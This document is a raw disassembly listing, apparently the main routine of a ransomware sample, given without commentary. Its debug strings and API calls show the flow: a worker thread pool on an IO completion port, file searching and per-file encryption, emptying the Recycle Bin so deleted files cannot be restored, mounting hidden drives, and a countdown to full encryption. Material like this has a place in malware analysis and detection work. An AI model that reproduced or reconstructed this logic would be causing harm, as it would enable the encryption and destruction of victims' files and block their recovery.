ret
mov eax, dword [ebp - 8]
mov dword [0x42a340], esi
push ecx
mov byte [esi + eax], 0
call fcn.00406280
add esp, 4
mov dword [0x42a340], eax
cmp byte [0x42a33c], 0
je 0x4080c4
push str.___Successfully_decoded_readme__n
call fcn.00401330
add esp, 4
push 0x42a34c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x42a360]
push 0
push 0
push 0
push 0xffffffffffffffff
lea edi, [eax*4]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x42a344], eax
xor ecx, ecx
mov eax, edi
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00410c5a
add esp, 4
mov dword [0x42a348], eax
xor esi, esi
test edi, edi
jle 0x408143
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
nop word [eax + eax]
push 0
push 0
push dword [0x42a344]
push 0x405620
push 0
push 0
call ebx
mov ecx, dword [0x42a348]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, edi
jl 0x408120
mov cl, byte [0x42a33c]
test cl, cl
je 0x408160
push str.___Threads_are_initialized__n
call fcn.00401330
mov cl, byte [0x42a33c]
add esp, 4
mov eax, dword [0x42a344]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x42a334], eax
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4081bd
xor edi, edi
cmp dword [ebp - 0x14], edi
jbe 0x408292
lea esi, [edi*4]
test cl, cl
je 0x4081a0
push dword [esi + eax]
push str.___Searching_files_in__s_n
call fcn.004012f0
mov eax, dword [ebp - 0x18]
add esp, 8
mov ecx, dword [esi + eax]
call fcn.00404e10
inc edi
cmp edi, dword [ebp - 0x14]
jae 0x408292
mov eax, dword [ebp - 0x18]
mov cl, byte [0x42a33c]
jmp 0x408182
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x40820b
xor edi, edi
cmp dword [ebp - 0x1c], edi
jbe 0x408292
nop
lea esi, [edi*4]
test cl, cl
je 0x4081ee
push dword [esi + eax]
push str.___Encrypting_file:__s_n
call fcn.004012f0
mov eax, dword [ebp - 0x20]
add esp, 8
mov ecx, dword [esi + eax]
call fcn.004058d0
inc edi
cmp edi, dword [ebp - 0x1c]
jae 0x408292
mov eax, dword [ebp - 0x20]
mov cl, byte [0x42a33c]
jmp 0x4081d0
test cl, cl
je 0x40821c
push str.___Recycling_bin..._n
call fcn.004012f0
add esp, 4
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
cmp byte [0x42a33b], 0
je 0x40824c
cmp byte [0x42a33c], 0
je 0x408247
push str.___Loading_hidden_drives..._n
call fcn.004012f0
add esp, 4
call fcn.004049b0
cmp byte [0x42a33c], 0
je 0x40828d
push str.___Starting_full_encryption_in_5s
call fcn.004012f0
add esp, 4
mov esi, 5
push 0x3e8
call ebx
push 0x4255b8
call fcn.004012f0
add esp, 4
sub esi, 1
jne 0x408267
push 0x425f28
call fcn.004012f0
add esp, 4
call fcn.00405390
mov eax, dword [0x42a360]
mov esi, 0x42a330
lea edi, [eax*4]
push 0x3e8
call ebx
xor eax, eax
lock xadd dword [esi], eax
test eax, eax
jg 0x4082a3
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x188
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x188
mov ebx, eax
push 0
push ebx
call fcn.0040b3e0
add esp, 0xc
mov dword [ebx + 0x34], 4
test edi, edi
jle 0x4082fe
mov esi, edi
push ebx
push 0
push 0
push dword [0x42a344]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub esi, 1
jne 0x4082e8
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0xffffffffffffffff
push 1
push dword [0x42a348]
push edi
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor esi, esi
test edi, edi
jle 0x40833f
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [eax + eax]
mov eax, dword [0x42a348]
push dword [eax + esi*4]
call ebx
inc esi
cmp esi, edi
jl 0x408330
cmp byte [ebp - 0xc], 0
jne 0x40834a
call fcn.00406e10
cmp byte [ebp - 0xb], 0
jne 0x408355
call fcn.00407210
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a11a
mov esp, ebp
pop ebp
ret